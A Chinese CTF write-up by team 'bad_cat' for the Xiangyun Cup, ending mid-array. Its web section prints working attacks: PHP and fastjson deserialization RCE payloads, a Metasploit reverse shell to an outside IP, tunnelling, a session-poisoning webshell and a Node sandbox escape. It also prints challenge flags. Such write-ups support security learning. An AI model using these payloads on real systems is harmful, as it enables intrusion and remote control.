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祥云杯题解

发表于:2021-08-25 11:20 作者: Y1fan 阅读数(205人)

bad_cat战队WRITEUP

一、 战队信息

战队名称:bad_cat

战队排名:6

二、 解题情况

三、 解题过程

web

1、**ezyii**

网上搜yii的1day

https://xz.aliyun.com/t/9948#toc-6

思路类似于第四条链子

exp:

<?php
namespace Codeception\Extension{
   use Faker\DefaultGenerator;
   use GuzzleHttp\Psr7\AppendStream;
   class  RunProcess{
       protected $output;
       private $processes = [];
       public function __construct(){
           $this->processes[]=new DefaultGenerator(new AppendStream());
           $this->output=new DefaultGenerator('jiang');
      }
  }
   echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
   class DefaultGenerator
{
   protected $default;

   public function __construct($default = null)
  {
       $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
   use Faker\DefaultGenerator;
   final class AppendStream{
       private $streams = [];
       private $seekable = true;
       public function __construct(){
           $this->streams[]=new CachingStream();
      }
  }
   final class CachingStream{
       private $remoteStream;
       public function __construct(){
           $this->remoteStream=new DefaultGenerator(false);
           $this->stream=new  PumpStream();
      }
  }
   final class PumpStream{
       private $source;
       private $size=-10;
       private $buffer;
       public function __construct(){
           $this->buffer=new DefaultGenerator('j');
           include("closure/autoload.php");
           $a = function(){system('cat /flag.txt');};
           $a = \Opis\Closure\serialize($a);
           $b = unserialize($a);
           $this->source=$b;
      }
  }
}

然后post就行

flag{19fefeeb-989a-4017-8001-7af62b9e511b}

2、**层层穿透**

直接传jar可以反弹shell进内网入口

参考 https://blog.csdn.net/cainiao17441898/article/details/118877408

msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -f jar > rce111.jar

use exploit/multi/handler

set PAYLOAD java/meterpreter/reverse_tcp

set lhost 82.157.25.143

set lport 11112

run -j

先监听后上传,就不会报500的错误了

此时再去submit

sessions

sessions id 执行拿到shell再 bash -i 2>&1 ,上传一个ew内网穿透(https://github.com/idlefire/ew),chmod下

msf的upload shell执行

./ew -s rssocks -d 82.157.25.143 -e 18888

1629681942381.png

1629681958822.png

扫描c段,看10.10.1.11:8080

post登陆

1629681978009.png

抓个包拿session

Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112

源码解压看pom.xml依赖

1629681997405.png

漏洞点在fastjson,

先post admin/123456登陆 /doLogin

1629682012295.png

再参考https://github.com/safe6Sec/Fastjson 构造rce的post

注意要大于2w

POST /admin/test HTTP/1.1
Host: 10.10.1.11:8080
Content-Type: application/json
cmd: cat /flag
Content-Length: 31124
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F6401000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}

1629682072305.png

flag{966fc4a2-e291-4136-84be-5bfd19b949e2}

3、**安全检测**

http://127.0.0.1读到源码

1629682092153.png

可以读到/etc/passwd

http://127.0.0.1/admin/include123.php?u=/etc/passwd

1629682109298.png

读到session

http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1aca58c2b24f9d63bf77dba07

1629682133129.png

http://127.0.0.1/admin/include123.php?u=/etc/passwd#<?php eval(base64_decode('c3lzdGVtKCcvZ2V0ZmxhZy5zaCcpOw=='));?>输入就可以写到session里面了

用#注释掉后面的一句话木马,不被访问,要的是这个路由,记录路由后,再换个浏览器的phpsession访问一下即可

ls发现了/getflag.sh 因为过滤了flag,base一下才行

1629682164517.png

flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}

4、**crawler_z**

第一次我注册的yenan/yenan,填写profile后观察url出现token1

第二次admin/admin,直接ssrf伪造/user/verify?token=token1

1629682186549.png

可以指定爬取

vps启动一个http

Python -m SimpleHTTPServer 11111

然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com

1629682205877.png

读到了,后面构造js的vm逃逸,document.write直接在html里面写,省去外带了

<script>
document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString());
    </script>

1629682239611.png

1629682225931.png

flag{f0425be6-3e46-472a-8879-e19525839caf}

5、Secrets_Of_Admin

源码拿到

admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

登陆

js的数组绕过,这样检测就没有某个元素绕不过正则了,写checksum为crhyyds,提交post时候url编码下

content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin&filename%3D..%2Ffiles%2Fflag&checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E

得到flag为:flag{65453076-effe-48dc-98d5-d0d235f766f8}

reverse

1、**Rev_APC**

生成dll代码

知道了 sha3-256,但是后面并没用上。

核心逻辑:在dll的0x1800015C0函数中,与sys有两种方式通信。

  1. dll的0x1800015C0函数中调用了NtRequestWaitReplyPort,这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C,算法比较好看懂。

  2. dll中调用DeviceIOControl,对应sys中的函数为0x140003660。

后面就是看算法了。

exp:

from zio import *
def fun6(a, b):
   for i in range(32):
       c = a[i]
       if (c >= 33) & (c <= 79):
           a[i] = (c - 80) & 0xff
           b[i] = (b[i]+a[i])&0xff
       elif (c >= 81) & (c <= 127):
           a[i] = c - 48
           b[i] ^= (a[i] >> 4)
       elif (c > 128):
           a[i] = c - 48
           b[i] = (b[i]-a[i])&0xff
   return a, b

def defun6(a, b):
   for i in range(32):
       c = a[i]
       if (c >= 33) & (c <= 79):
           a[i] = (c - 80) & 0xff
           b[i] = (b[i]-a[i])&0xff
       elif (c >= 81) & (c <= 127):
           a[i] = c - 48
           b[i] ^= (a[i] >> 4)
       elif (c > 128):
           a[i] = c - 48
           b[i] = (b[i]+a[i])&0xff
   return a, b

def fun5(a, b):
   for i in range(32):
       b[i] ^= a[i]
   return a, b

def fun4(a, b):
   for i in range(32):
       a[i] = (a[i] - 80) & 0xff
   for i in range(16):
       b[2 * i] ^= (16 * a[2 * i]) & 0xff
       b[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xf
   return a, b

def fun3(a, b):
   for i in range(32):
       b[i] ^= a[i]
   return a, b

def fun2(a, b):
   for i in range(32):
       a[i] = (a[i] - 80) & 0xff
       b[i] ^= ((a[i]>>4)&0xf) | ((a[i]<<4)&0xf0)
   return a, b

def fun1(a, b):
   for i in range(32):
       a[i] = (a[i]+16)&0xff
       b[i] ^= a[i]
   return a, b

def enc():
   b = [ord(c) for c in 'flag{12345678901234567890123456}']
   #b = [91, 36, 164, 45, 64, 21, 144, 29, 194, 5, 189, 39, 240, 29, 80, 137, 178, 73, 216, 105, 177, 245, 80, 59, 99, 154, 94, 170, 79, 175, 153, 126]
   '''
  a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
  a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
  a4 = []
  for i in range(32):
      a4.append(ord(a3[i])^a2[i%len(a2)])
  '''
   a = []
   a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
   for i in range(32):
       c = 0
       for j in range(i+1):
           c ^= a2[j]
       a.append(c)

   orders = [0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5][::-1]

   print '----------'
   for i in range(32):
       print a,','
       if orders[i] == 0:
           fun1(a, b)
       elif orders[i] == 1:
           fun2(a, b)
       elif orders[i] == 2:
           fun3(a, b)
       elif orders[i] == 3:
           fun4(a, b)
       elif orders[i] == 4:
           fun5(a, b)
       elif orders[i] == 5:
           fun6(a, b)
   print '----------'
   print (b)

def get_aas2(orders):
   b = [ord(c) for c in 'flag{12345678901234567890123456}']
   a = []
   a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
   a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
   a4 = []
   for i in range(32):
       a4.append(ord(a3[i])^a2[i%len(a2)])
   for i in range(32):
       c = 0
       for j in range(i+1):
           c ^= a4[j]
       a.append(c)
   aas = []
   for i in range(32):
       aas.append(a[:])
       if orders[i] == 0:
           fun1(a, b)
       elif orders[i] == 1:
           fun2(a, b)
       elif orders[i] == 2:
           fun3(a, b)
       elif orders[i] == 3:
           fun4(a, b)
       elif orders[i] == 4:
           fun5(a, b)
       elif orders[i] == 5:
           fun6(a, b)
   return aas

def get_aas(orders):
   b = [ord(c) for c in 'flag{12345678901234567890123456}']
   a = []
   a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
   for i in range(32):
       c = 0
       for j in range(i+1):
           c ^= a2[j]
       a.append(c)
   aas = []
   for i in range(32):
       aas.append(a[:])
       if orders[i] == 0:
           fun1(a, b)
       elif orders[i] == 1:
           fun2(a, b)
       elif orders[i] == 2:
           fun3(a, b)
       elif orders[i] == 3:
           fun4(a, b)
       elif orders[i] == 4:
           fun5(a, b)
       elif orders[i] == 5:
           fun6(a, b)
   return aas

def dec(aas, orders, seed):
   #b = [101, 46, 7, 63, 148, 47, 164, 57, 127, 160, 41, 36, 28, 175, 229, 120, 228, 102, 147, 78, 254, 68, 207, 240, 223, 246, 251, 73, 235, 24, 215, 30]
   #b = [132, 13, 239, 89, 97, 68, 214, 77, 139, 199, 61, 244, 220, 107, 175, 6, 222, 75, 100, 91, 167, 143, 135, 74, 72, 246, 81, 54, 83, 64, 165, 216]
   bs = l64(0x2F34A83A1B38C557) + l64(0xEE8F2F04E4C69739) + l64(0x486FC9246780515E) + l64(0xEBC2C2B0C7BD7F5B)
   b = [ord(i) for i in bs]
   re_orders = orders[::-1]
   for i in range(32):
       a = aas[31-i]
       if re_orders[i] == 0:
           fun1(a, b)
       elif re_orders[i] == 1:
           fun2(a, b)
       elif re_orders[i] == 2:
           fun3(a, b)
       elif re_orders[i] == 3:
           fun4(a, b)
       elif re_orders[i] == 4:
           fun5(a, b)
       elif re_orders[i] == 5:
           defun6(a, b)
   #print b
   s = ''.join(chr(i) for i in b)
   is_printable = True
   for i in range(10):
       if b[i] > 0x80:
           is_printable = False
           break
   if is_printable:
       print seed, s
   return is_printable

def srand(s):
 global seed
 seed = s

# microsoft c runtime implementation
def rand():
   global seed
   seed = (seed * 214013 + 2531011) % 2**64

   return (seed >> 16)&0x7fff


def gen_order(seed=1):
   srand(seed)
   orders = []
   for i in range(32):
       orders.append(rand() % 6)
   return orders

orders = gen_order(seed=1)
aas = get_aas(orders)
dec(aas, orders, 1)

flag{Kmode_Umode_Communication!}

2、**勒索解密**

分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256,再以此作为key将生成将.bmp文件内容进行aes加密,加密iv为0

1629681842582.png

代码如下:

#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES

def decrypt(data, key):
  cryptos = AES.new(key, AES.MODE_ECB)
  decrpytBytes = list(base64.b64decode(data))
  decrpytBytes = bytes(decrpytBytes)
  data = cryptos.decrypt(decrpytBytes)
  return data

key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f1 = open("flag.bmp.ctf_crypter", "rb")
f2 = open("flag.bmp", "wb")
data = f1.read()

def xor(enc, data):
  res = []
  for i in range(len(a)):
      res += [enc[i]^data[i]]
  return bytes(res)
   
for i in range(len(data)//16):
  enc = base64.b64encode(data[16*i:16*(i+1)])
  if i > 0:
      ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
  else:
      ans = decrypt(enc, key)
  fp2.write(ans)
f1.close()
f2.close()

解密得到flag如下:

1629640797695.png

3、LightningSystem**

从hex生成bin文件。bin文件用ida打开,选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图,其中chall 2为输入,根据波形提取出512字节数据。继续分析LightningSystem.bin代码,可以看出是个vm,写脚本得到vmcode的功能。继续分析vmcode的代码,得到算法,最后求解exp如下:

求解

def brute(v4, v5, a, b, j):
  should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]
  v13 = a
  v14 = b
  v15 = 7 * (j ^ 0x4D)
  v16 = (v5 + 7 * (j ^ 0x4D)) & 0xff
  v18 = v13 - 0x20 + v16
  v19 = (v14 - 0x20) << 7
  o1 = ((v4 + ((v19 + v18) >> 8) + ((v15 + v5) >> 8)) & 0xff)
  o2 = ((v18 + v19) & 0xff)
  if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):
      print a, b
      return True
  return False

v4 = 234
v5 = 6
s = ''
for k in range(21):
  find = False
  for a in range(0x20, 0x80):
      for b in range(0x20, 0x80):
          if brute(v4, v5, a, b, k):
              s += chr(a)+chr(b)
              find = True
              break
      if find:
          break
  if not find:
      print ('fail')
print s

得到flag如下:flag{31fd5c30-dc82-abd0-741b-9ba425f2e692}

4、**Rev_Dizzy**

看反编译的代码,完了拿比较的数据反过来进行加减异或

代码太大,就不贴了,在附属文档(命名为deal.cpp)

跑出flag如下:

1629641469948.png

crypto

1、**Guess**

先是一个sha256的爆破,一共要爆破四位,10秒内出结果,第一关就过去了,第二关和矩阵运算有关,key的矩阵给了第一列的数据【119,201,718,647】,有了这行数据和最后矩阵相乘的结果,可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。

1629681547886.png

但这个函数的限制条件没调好,现在只能解出一个无用的特解。

首先求key,key是一个204的矩阵,乘以一个412的矩阵得到hint中的矩阵。也就是A*R=B,已知B求A。https://ctf.njupt.edu.cn/546.html#diamond该博客中有解法,其中的代码稍微修改修改即可

msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines()
B = []
for var in msg:
  var = var[1:-2].split(' ')
  for x in var:
      B.append(int(x))
BB = []
for i in range(0, len(B), 20):
  BB.append(B[i: i + 20])
As = []
for i in range(1000):
  shuffle(BB)
  for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):
      if line[0] < 0:
          line = -line
      if line not in As and all(map(lambda x: 100 <= x <= 1000, line)):
          print(len(BB), line)
          As.append(line)
a = [241, 232, 548, 400, 186, 333, 646, 727, 286, 877, 810, 121, 237, 745, 201, 542, 244, 396, 158, 641]
b = [119, 521, 142, 637, 614, 746, 299, 416, 638, 288, 995, 498, 639, 585, 114, 885, 558, 783, 899, 751]
c = [718, 550, 349, 939, 148, 355, 942, 685, 313, 577, 184, 130, 307, 983, 611, 903, 271, 530, 566, 427]
d = [647, 918, 613, 936, 461, 281, 977, 888, 128, 653, 309, 780, 526, 216, 944, 123, 430, 860, 113, 129]
m = matrix([b, a, c, d])
K = []
for i in range(20):
  for j in range(4):
      K.append(m[j][i])
print(K)
print(len(K)==80)

题目使用的加密算法是paillier,该算法有乘法同态性质,也就是D(c1c2)=m1+m2,因此有D(c^k)=km。第三步传给服务器两个明文,服务器返回一个密文。第四步可以将这个密文的平方传回给服务器,服务器返回的就是明文的二倍,这样就可以计算出使用的key,进而判断出第三步传回的是哪个密文

import socket
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256


K = [119, 241, 718, 647, 521, 232, 550, 918, 142, 548, 349, 613, 637, 400, 939, 936, 614, 186, 148, 461, 746, 333, 355, 281, 299, 646, 942, 977, 416, 727, 685, 888, 638, 286, 313, 128, 288, 877, 577, 653, 995, 810, 184, 309, 498, 121, 130, 780, 639, 237, 307, 526, 585, 745, 983, 216, 114, 201, 611, 944, 885, 542, 903, 123, 558, 244, 271, 430, 783, 396, 530, 860, 899, 158, 566, 113, 751, 641, 427, 129]

def main():
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.connect(('47.104.85.225', 57811))
msg = sk.recv(1024).decode()
suffix = msg[10:msg.find(')')]
cipher = msg[msg.find('==') + 3:-1]
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sk.send((proof + '\n').encode())
for _ in range(32):
msg = sk.recv(1024).decode()
while True:
if msg.find('Please give me one decimal ciphertext.') != -1:
break
msg += sk.recv(1024).decode()
n = int(msg[msg.find('n = ') + 4: msg.find('g = ') - 1])
sk.send('1\n'.encode())
msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
sk.send('4\n'.encode())
msg = sk.recv(1024).decode()
sk.send('5\n'.encode())
msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
cipher_text = int(msg[:msg.find('Step') - 1])
cipher_text = (cipher_text ** 2) % (n ** 2)
sk.send((str(cipher_text) + '\n').encode())
msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
plaint = int(msg[:msg.find('Step') - 1])
m = plaint // 40
index = K.index(m)
if index % 2 == 0:
sk.send('0\n'.encode())
else:
sk.send('1\n'.encode())
msg = sk.recv(20).decode()
if(msg == 'sorry'):
exit(1)
flag = sk.recv(1024).decode()
print(flag)


if __name__ == '__main__':
main()

flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}

2、**myRSA**

根据加密函数推导

def encry(message,key,p,q,e):
k1,k2 = key[random.randint(0,127)],key[random.randint(0,127)]
x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1)
y = 2*p*q + p + q
z = k1 + k2
c = pow(b2l(message),e,p*q)
return x * c + y * c + z
n == p*q
encry == x*c+y*c+z
== c*(x+y)+z
== c*(p^2*(p+3*q-1)+q^2*(q+3*p-1)+2*p*q+p+q)+z
== c*(p^3+3*q*p^2-p^2+q^3+3*q*p^2-q^2+2*p*q+p+q)+z
== c*( (p^3+3*q*p^2+3*q*p^2+q^3) - (p^2-2*p*q+q^2) + (p+q) )+z
== c*( (p+q)^3 - (p^2+2*p*q+q^2) + (p+q) - 4*p*q)+z
== c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*n)+z

当message已知时,即c已知,则:

( (p+q)^3 - (p+q)^2 + (p+q) - 4*n ) + z//c == encry//c
bit_length(z) ≈ bit_length(c)
(p+q)^3 - (p+q)^2 + (p+q) ≈ encry//c + 4*n
p+q ≈ iroot(encry//c + 4*n,3)

得到p+q后,即可分解得到pq,然后

encry(falg) == c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q)+z
encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q ) ≈ c
c ≈ encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q )
pow(flag,e,p*q) == c
flag = pow(c,d,p*q)

交互过程如图:

1629681515887.png

具体代码如下:

from gmpy2 import * 
from libnum import *
import hashlib, string
import string
string.ascii_letters+string.digits

def getHash(salt, result):
characters = string.ascii_letters+string.digits
for c1 in characters:
for c2 in characters:
for c3 in characters:
for c4 in characters:
proof = (c1 + c2 + c3 + c4)
if hashlib.sha256((proof + salt).encode()).hexdigest() == result:
return proof

# print(getHash('22DTYHroGWCn', 'e4c9ef8db51891583283e46918102679b1a6c3dfe39fc03b6358dfc25a774b87'))

n = 85343149578176060673525681026723930359314280768242385609024815828556712907874238886300667543103765988586168603631056110828361309591875660584941941481131092974185146750844915150566700701092563758372252836639762879237827599338268809569117654436310368636789827651104134868900261762104527595991833761714901016029
e = 65537
m1s = b'123456'
cc1 = 105373287756342103942318018207056724895113233474538384206517559444291374325564458162829935057543845664205750932828630502829241312854079542426015944635674945007233226969286492255522761944177693783964402040849515814480732059253751703782424818957331522695828579625990399140552544980352436208260945967283728637409348330898050232258063842734314870654886700796338003597546732410884458751238829865847139778432136828226800897288424010979417923480250780864971811755934542620713460207847994035065574879421110368856772784757449082198034834405011617207370781985693178239051493374933415204965262530381690146459520225010213093464909483816574798355968626256136465430160720859598955776299806476466769412478819481700794165326427988495181589303730517671784092779839924300337807278823503948

flagcc = 454290573758015984361161126262811922788755078401937487579079634614218474633801258967721156564975754624859004052141021296088980113896281079737825700103991596426503507575094089473968746944563893361448273886607332373914110733362866368001364669002738540783848149392686860094417167606048872651224504789189640531484807929947408609762054624949645581390736093100707064204367843770956253500452956970787266407106360175299552284981057764308021200628000230080295901166574595815192713921576623749344127096235109866174624137703038268714280160476563698761263045817706939008171964455359487525305018326387123255659560601103557128168884398217553297448525018481589736937600226945431670247899467168039685000720178976703743528438795723822518269229648079592317649607172977245430485797171405656
m1 = s2n(m1s)

c1 = powmod(m1,e,n)

x = iroot(cc1//c1+4*n,3)[0]
while True:
t = iroot(x*x-4*n,2)
if t[1]:
p = (x+t[0])//2
q = (x-t[0])//2
if p*q == n:
print(p,q)
break
x = x-1
d = invert(e,(p-1)*(q-1))
x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1)
y = 2*p*q + p + q
t = x+y
flagc = flagcc//t+100
while True:
flag = powmod(flagc,d,n)
f = n2s(int(flag))
if b'ctf' in f or b'flag' in f or b'CTF' in f or b'FLAG' in f:
print(f)
break
flagc = flagc - 1

3、**Random_RSA**

python随机数相同的随机数种子产生的随机数序列相同,先用产生的随机数序列异或解密出dp,然后

https://blog.csdn.net/weixin_45369385/article/details/109208109该博客有dp泄露的原理和代码,直接用即可(python2运行)

# -*- coding: utf-8 -*-

from Crypto.Util.number import *
import gmpy2
import libnum
import random
import binascii
import os


n=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
c=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151
e = 65537
#rands=[[58, 53, 122],[145, 124, 244],[5, 19, 192],[255, 23, 64],[57, 113, 194],[246, 205, 162],[112, 87, 95],[215, 147, 105],[16, 131, 38],[234, 36, 46],[68, 61, 146],[148, 61, 9],[139, 77, 32],[96, 56, 160],[121, 76, 17],[114, 246, 92],[178, 206, 60],[168, 147, 26],[168, 41, 68],[24, 93, 84],[175, 43, 88],[147, 97, 153],[42, 94, 45],[150, 103, 127],[68, 163, 62],[165, 37, 89],[219, 248, 59],[241, 182, 8],[140, 211, 146],[88, 226, 2],[48, 150, 56],[87, 109, 255],[227, 216, 65],[23, 190, 10],[5, 25, 64],[6, 12, 124],[53, 113, 124],[255, 192, 158],[61, 239, 5],[62, 108, 86],[123, 44, 64],[195, 192, 30],[30, 82, 95],[56, 178, 165],[68, 77, 239],[106, 247, 226],[17, 46, 114],[91, 71, 156],[157, 43, 182],[146, 6, 42],[148, 143, 161],[108, 33, 139],[139, 169, 157],[71, 140, 25],[28, 153, 26],[241, 221, 235],[28, 131, 141],[159, 111, 184],[47, 206, 11],[220, 152, 157],[41, 213, 97],[4, 220, 10],[77, 13, 248],[94, 140, 110],[25, 250, 226],[218, 102, 109],[189, 238, 66],[91, 18, 131],[23, 239, 190],[159, 33, 72],[183, 78, 208],[209, 213, 101],[111, 50, 220],[166, 104, 233],[170, 144, 10],[187, 87, 175],[195, 59, 104],[165, 179, 179],[99, 247, 153],[195, 61, 100],[223, 159, 165],[230, 93, 184],[87, 28, 35],[35, 122, 38],[158, 188, 163],[229, 192, 222],[12, 12, 192],[207, 95, 224],[127, 113, 137],[22, 114, 143],[13, 45, 144],[70, 140, 211],[57, 101, 42],[132, 62, 129],[40, 